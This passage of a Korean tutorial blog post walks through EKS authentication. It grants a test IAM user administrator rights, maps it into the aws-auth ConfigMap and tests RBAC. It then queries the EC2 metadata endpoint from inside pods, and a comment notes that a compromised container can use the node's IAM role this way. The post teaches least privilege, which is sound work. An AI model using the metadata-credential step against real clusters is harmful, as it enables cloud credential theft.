this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;299&quot; data-filename=&quot;스크린샷 2024-04-11 오후 2.11.12.png&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;299&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;DevOps 신입 사원을 위한 &lt;span data-token-index=&quot;1&quot;&gt;myeks-bastion-2&lt;/span&gt;&amp;nbsp;설정 해보기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. [myeks-bastion] testuser 사용자 생성&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1712813201348&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# testuser 사용자 생성
aws iam create-user --user-name testuser

# 사용자에게 프로그래밍 방식 액세스 권한 부여
aws iam create-access-key --user-name testuser

# testuser 사용자에 정책을 추가
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name testuser

# get-caller-identity 확인
aws sts get-caller-identity --query Arn

kubectl whoami

# EC2 IP 확인 : myeks-bastion-EC2-2 PublicIPAdd 확인
aws ec2 describe-instances --query &quot;Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}&quot; --filters Name=instance-state-name,Values=running --output table&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. [myeks-bastion-2] testuser 자격증명 설정 및 확인&lt;/p&gt;
&lt;pre id=&quot;code_1712813401391&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# get-caller-identity 확인 (현재 EC2에서 testuser에 대한 자격증명이 되어 있지 않으므로 에러)
aws sts get-caller-identity --query Arn

# testuser 자격증명 설정
aws configure
AWS Access Key ID [None]: AKIA5ILF2F...
AWS Secret Access Key [None]: ePpXdhA3cP....
Default region name [None]: ap-northeast-2

# get-caller-identity 확인
aws sts get-caller-identity --query Arn

# kubectl 시도 &amp;gt;&amp;gt; testuser도 AdministratorAccess 권한을 가지고 있지만 .kube 파일이 없음
kubectl get node -v6
ls ~/.kube&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 3.20.51.png&quot; data-origin-width=&quot;1152&quot; data-origin-height=&quot;59&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pF2Ib/btsGwLBC9uS/4gfi6iKRCDP4jYTVt46mbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pF2Ib/btsGwLBC9uS/4gfi6iKRCDP4jYTVt46mbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pF2Ib/btsGwLBC9uS/4gfi6iKRCDP4jYTVt46mbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpF2Ib%2FbtsGwLBC9uS%2F4gfi6iKRCDP4jYTVt46mbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1152&quot; height=&quot;59&quot; data-filename=&quot;스크린샷 2024-04-11 오후 3.20.51.png&quot; data-origin-width=&quot;1152&quot; data-origin-height=&quot;59&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. [myeks-bastion] testuser에 system:masters 그룹 부여로 EKS 관리자 수준 권한 설정&lt;/p&gt;
&lt;pre id=&quot;code_1712813513200&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 방안1 : eksctl 사용 &amp;gt;&amp;gt; iamidentitymapping 실행 시 aws-auth 컨피그맵 작성해줌
# Creates a mapping from IAM role or user to Kubernetes user and groups
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
eksctl create iamidentitymapping --cluster $CLUSTER_NAME --username testuser --group system:masters --arn arn:aws:iam::$ACCOUNT_ID:user/testuser

# 확인
kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh

kubectl get validatingwebhookconfigurations eks-aws-auth-configmap-validation-webhook -o yaml | kubectl neat | yh

# 방안2 : 아래 edit로 mapUsers 내용 직접 추가!
kubectl edit cm -n kube-system aws-auth
---
apiVersion: v1
data: 
  mapRoles: |
    - groups:
      - system:bootstrappers
      - system:nodes
      rolearn: arn:aws:iam::911283464785:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-LHQ7DWHQQRZJ
      username: system:node:{{EC2PrivateDNSName}}
  mapUsers: |
    - groups:
      - system:masters
      userarn: arn:aws:iam::911283464785:user/testuser
      username: testuser

# 확인 : 기존에 있는 role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-YYYYY 는 어떤 역할/동작을 하는 걸까요?
eksctl get iamidentitymapping --cluster $CLUSTER_NAME&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;create iamidentitymapping을 통해 testuser에 대한 aws-auth Configmap을 업데이트할 수 있는 권한을 맵핑합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 4.07.11.png&quot; data-origin-width=&quot;1540&quot; data-origin-height=&quot;83&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1q7kf/btsGw2DaoM9/kDTJTETvfMAPJH5Lf9MSiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1q7kf/btsGw2DaoM9/kDTJTETvfMAPJH5Lf9MSiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1q7kf/btsGw2DaoM9/kDTJTETvfMAPJH5Lf9MSiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1q7kf%2FbtsGw2DaoM9%2FkDTJTETvfMAPJH5Lf9MSiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1540&quot; height=&quot;83&quot; data-filename=&quot;스크린샷 2024-04-11 오후 4.07.11.png&quot; data-origin-width=&quot;1540&quot; data-origin-height=&quot;83&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 2.32.39.png&quot; data-origin-width=&quot;1431&quot; data-origin-height=&quot;82&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tWQ6P/btsGxAzvtrH/vJaMy20lUBKkg1B8vdGcvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tWQ6P/btsGxAzvtrH/vJaMy20lUBKkg1B8vdGcvk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tWQ6P/btsGxAzvtrH/vJaMy20lUBKkg1B8vdGcvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtWQ6P%2FbtsGxAzvtrH%2FvJaMy20lUBKkg1B8vdGcvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1431&quot; height=&quot;82&quot; data-filename=&quot;스크린샷 2024-04-11 오후 2.32.39.png&quot; data-origin-width=&quot;1431&quot; data-origin-height=&quot;82&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;validatingwebhookconfigurations에 의해 aws-auth Configmap에 testuser에 대한 정보가 업데이트된 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 2.33.17.png&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;362&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c8wsMp/btsGzdwIUbq/ABk1sYBxRBxc20KF9Dg1x1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c8wsMp/btsGzdwIUbq/ABk1sYBxRBxc20KF9Dg1x1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c8wsMp/btsGzdwIUbq/ABk1sYBxRBxc20KF9Dg1x1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc8wsMp%2FbtsGzdwIUbq%2FABk1sYBxRBxc20KF9Dg1x1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;974&quot; height=&quot;362&quot; data-filename=&quot;스크린샷 2024-04-11 오후 2.33.17.png&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;362&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. [myeks-bastion-2] testuser kubeconfig 생성 및 kubectl 사용 확인&lt;/p&gt;
&lt;pre id=&quot;code_1712813869513&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# testuser kubeconfig 생성 &amp;gt;&amp;gt; aws eks update-kubeconfig 실행이 가능한 이유는?, 3번 설정 후 약간의 적용 시간 필요
aws eks update-kubeconfig --name $CLUSTER_NAME --user-alias testuser

# 첫번째 bastic ec2의 config와 비교해보자
cat ~/.kube/config | yh

# kubectl 사용 확인
kubectl ns default
kubectl get node -v6

# rbac-tool 후 확인 &amp;gt;&amp;gt; 기존 계정과 비교해보자 &amp;gt;&amp;gt; system:authenticated 는 system:masters 설정 시 따라오는 것 같은데, 추가 동작 원리는 모르겠네요???
kubectl krew install rbac-tool &amp;amp;&amp;amp; kubectl rbac-tool whoami&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 2.41.01.png&quot; data-origin-width=&quot;847&quot; data-origin-height=&quot;45&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dusY1D/btsGySl94U7/UsKwgUshc5rStbUbpwgbl0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dusY1D/btsGySl94U7/UsKwgUshc5rStbUbpwgbl0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dusY1D/btsGySl94U7/UsKwgUshc5rStbUbpwgbl0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdusY1D%2FbtsGySl94U7%2FUsKwgUshc5rStbUbpwgbl0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;847&quot; height=&quot;45&quot; data-filename=&quot;스크린샷 2024-04-11 오후 2.41.01.png&quot; data-origin-width=&quot;847&quot; data-origin-height=&quot;45&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_스크린샷 2024-04-11 오후 4.20.16.png&quot; data-origin-width=&quot;1574&quot; data-origin-height=&quot;738&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qnwWc/btsGzlBrQzf/fdNSKO5lzRZsOL8q2tHJI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qnwWc/btsGzlBrQzf/fdNSKO5lzRZsOL8q2tHJI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qnwWc/btsGzlBrQzf/fdNSKO5lzRZsOL8q2tHJI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqnwWc%2FbtsGzlBrQzf%2FfdNSKO5lzRZsOL8q2tHJI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1574&quot; height=&quot;738&quot; data-filename=&quot;edited_스크린샷 2024-04-11 오후 4.20.16.png&quot; data-origin-width=&quot;1574&quot; data-origin-height=&quot;738&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5.&amp;nbsp;[myeks-bastion] testuser 의 Group 변경(system:masters &amp;rarr; &lt;span data-token-index=&quot;1&quot;&gt;system:authenticated&lt;/span&gt;)으로 RBAC 동작 확인 : 에러 발생&lt;/p&gt;
&lt;pre id=&quot;code_1712837023426&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 방안2 : 아래 edit로 mapUsers 내용 직접 수정 system:authenticated
kubectl edit cm -n kube-system aws-auth
...

# 확인
eksctl get iamidentitymapping --cluster $CLUSTER_NAME&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 9.07.39.png&quot; data-origin-width=&quot;1412&quot; data-origin-height=&quot;70&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oOCW6/btsGyTsk2xO/DItnqkTcpNkWechJLWD650/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oOCW6/btsGyTsk2xO/DItnqkTcpNkWechJLWD650/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oOCW6/btsGyTsk2xO/DItnqkTcpNkWechJLWD650/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoOCW6%2FbtsGyTsk2xO%2FDItnqkTcpNkWechJLWD650%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1412&quot; height=&quot;70&quot; data-filename=&quot;스크린샷 2024-04-11 오후 9.07.39.png&quot; data-origin-width=&quot;1412&quot; data-origin-height=&quot;70&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. [myeks-bastion-2] testuser kubectl 사용 확인 : 에러 발생&lt;/p&gt;
&lt;pre id=&quot;code_1712837093270&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 시도
kubectl get node -v6
kubectl api-resources -v5&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 9.08.32.png&quot; data-origin-width=&quot;2602&quot; data-origin-height=&quot;1148&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cZ1a3X/btsGwdFAAF1/i4XF4miz3ckvtKhf9EETL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cZ1a3X/btsGwdFAAF1/i4XF4miz3ckvtKhf9EETL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cZ1a3X/btsGwdFAAF1/i4XF4miz3ckvtKhf9EETL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcZ1a3X%2FbtsGwdFAAF1%2Fi4XF4miz3ckvtKhf9EETL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2602&quot; height=&quot;1148&quot; data-filename=&quot;스크린샷 2024-04-11 오후 9.08.32.png&quot; data-origin-width=&quot;2602&quot; data-origin-height=&quot;1148&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. [myeks-bastion]에서 testuser IAM 맵핑 삭제&lt;/p&gt;
&lt;pre id=&quot;code_1712837115536&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# testuser IAM 맵핑 삭제
eksctl delete iamidentitymapping --cluster $CLUSTER_NAME --arn  arn:aws:iam::$ACCOUNT_ID:user/testuser

# Get IAM identity mapping(s)
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
kubectl get cm -n kube-system aws-auth -o yaml | yh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8. [myeks-bastion-2] testuser kubectl 사용 확인 : 에러 발생&lt;/p&gt;
&lt;pre id=&quot;code_1712837138360&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 시도
kubectl get node -v6
kubectl api-resources -v5&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;EC2 Instance Profile&lt;/span&gt;(IAM Role)에 맵핑된 k8s rbac 확인 해보기&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1067&quot; data-origin-height=&quot;383&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tZFvt/btsGzYMTUJZ/rYbcineW42ATtvJ55TmIV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tZFvt/btsGzYMTUJZ/rYbcineW42ATtvJ55TmIV1/img.png&quot; data-alt=&quot;https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html#creating-access-entries&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tZFvt/btsGzYMTUJZ/rYbcineW42ATtvJ55TmIV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtZFvt%2FbtsGzYMTUJZ%2FrYbcineW42ATtvJ55TmIV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1067&quot; height=&quot;383&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1067&quot; data-origin-height=&quot;383&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html#creating-access-entries&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 8.39.28.png&quot; data-origin-width=&quot;2392&quot; data-origin-height=&quot;480&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bk505M/btsGwOSEYhk/psoL7zRn4903lHbg0qVTek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bk505M/btsGwOSEYhk/psoL7zRn4903lHbg0qVTek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bk505M/btsGwOSEYhk/psoL7zRn4903lHbg0qVTek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbk505M%2FbtsGwOSEYhk%2FpsoL7zRn4903lHbg0qVTek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2392&quot; height=&quot;480&quot; data-filename=&quot;스크린샷 2024-04-11 오후 8.39.28.png&quot; data-origin-width=&quot;2392&quot; data-origin-height=&quot;480&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 노드 mapRoles 확인&lt;/p&gt;
&lt;pre id=&quot;code_1712831942217&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 노드에 STS ARN 정보 확인 : Role 뒤에 인스턴스 ID!
for node in $N1 $N2 $N3; do ssh ec2-user@$node aws sts get-caller-identity --query Arn; done&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 7.39.20.png&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;136&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qJ6B1/btsGzD3ijAb/GYEaQ0i0NtfI9fwo0eaxoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qJ6B1/btsGzD3ijAb/GYEaQ0i0NtfI9fwo0eaxoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qJ6B1/btsGzD3ijAb/GYEaQ0i0NtfI9fwo0eaxoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqJ6B1%2FbtsGzD3ijAb%2FGYEaQ0i0NtfI9fwo0eaxoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1974&quot; height=&quot;136&quot; data-filename=&quot;스크린샷 2024-04-11 오후 7.39.20.png&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;136&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1712832017809&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# aws-auth 컨피그맵 확인 &amp;gt;&amp;gt; system:nodes 와 system:bootstrappers 의 권한은 어떤게 있는지 찾아보세요!
# username 확인! 인스턴스 ID? EC2PrivateDNSName?
kubectl describe configmap -n kube-system aws-auth&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 8.08.12.png&quot; data-origin-width=&quot;1480&quot; data-origin-height=&quot;850&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xB19R/btsGzev7Qrh/YoKKypfdfecrQ8cvZeKH0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xB19R/btsGzev7Qrh/YoKKypfdfecrQ8cvZeKH0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xB19R/btsGzev7Qrh/YoKKypfdfecrQ8cvZeKH0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxB19R%2FbtsGzev7Qrh%2FYoKKypfdfecrQ8cvZeKH0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1480&quot; height=&quot;850&quot; data-filename=&quot;스크린샷 2024-04-11 오후 8.08.12.png&quot; data-origin-width=&quot;1480&quot; data-origin-height=&quot;850&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. &lt;span data-token-index=&quot;0&quot;&gt;awscli 파드&lt;/span&gt;를 추가하고, 해당 노드(EC2)의 IMDS 정보 확인 : AWS CLI v2 파드 생성&lt;/p&gt;
&lt;pre id=&quot;code_1712833801680&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# awscli 파드 생성
cat &amp;lt;&amp;lt;EOF | kubectl create -f -
apiVersion: apps/v1
kind: Deployment
metadata:
  name: awscli-pod
spec:
  replicas: 2
  selector:
    matchLabels:
      app: awscli-pod
  template:
    metadata:
      labels:
        app: awscli-pod
    spec:
      containers:
      - name: awscli-pod
        image: amazon/aws-cli
        command: [&quot;tail&quot;]
        args: [&quot;-f&quot;, &quot;/dev/null&quot;]
      terminationGracePeriodSeconds: 0
EOF

# 파드 생성 확인
kubectl get pod -owide

# 파드 이름 변수 지정
APODNAME1=$(kubectl get pod -l app=awscli-pod -o jsonpath={.items[0].metadata.name})
APODNAME2=$(kubectl get pod -l app=awscli-pod -o jsonpath={.items[1].metadata.name})
echo $APODNAME1, $APODNAME2

# awscli 파드에서 EC2 InstanceProfile(IAM Role)의 ARN 정보 확인
kubectl exec -it $APODNAME1 -- aws sts get-caller-identity --query Arn
kubectl exec -it $APODNAME2 -- aws sts get-caller-identity --query Arn

# awscli 파드에서 EC2 InstanceProfile(IAM Role)을 사용하여 AWS 서비스 정보 확인 &amp;gt;&amp;gt; 별도 IAM 자격 증명이 없는데 어떻게 가능한 것일까요?
# &amp;gt; 최소권한부여 필요!!! &amp;gt;&amp;gt;&amp;gt; 보안이 허술한 아무 컨테이너나 탈취 시, IMDS로 해당 노드의 IAM Role 사용 가능!
kubectl exec -it $APODNAME1 -- aws ec2 describe-instances --region ap-northeast-2 --output table --no-cli-pager
kubectl exec -it $APODNAME2 -- aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager
 
# EC2 메타데이터 확인 : IDMSv1은 Disable, IDMSv2 활성화 상태, IAM Role - 링크
kubectl exec -it $APODNAME1 -- bash
-----------------------------------
아래부터는 파드에 bash shell 에서 실행
curl -s http://169.254.169.254/ -v
...

# Token 요청 
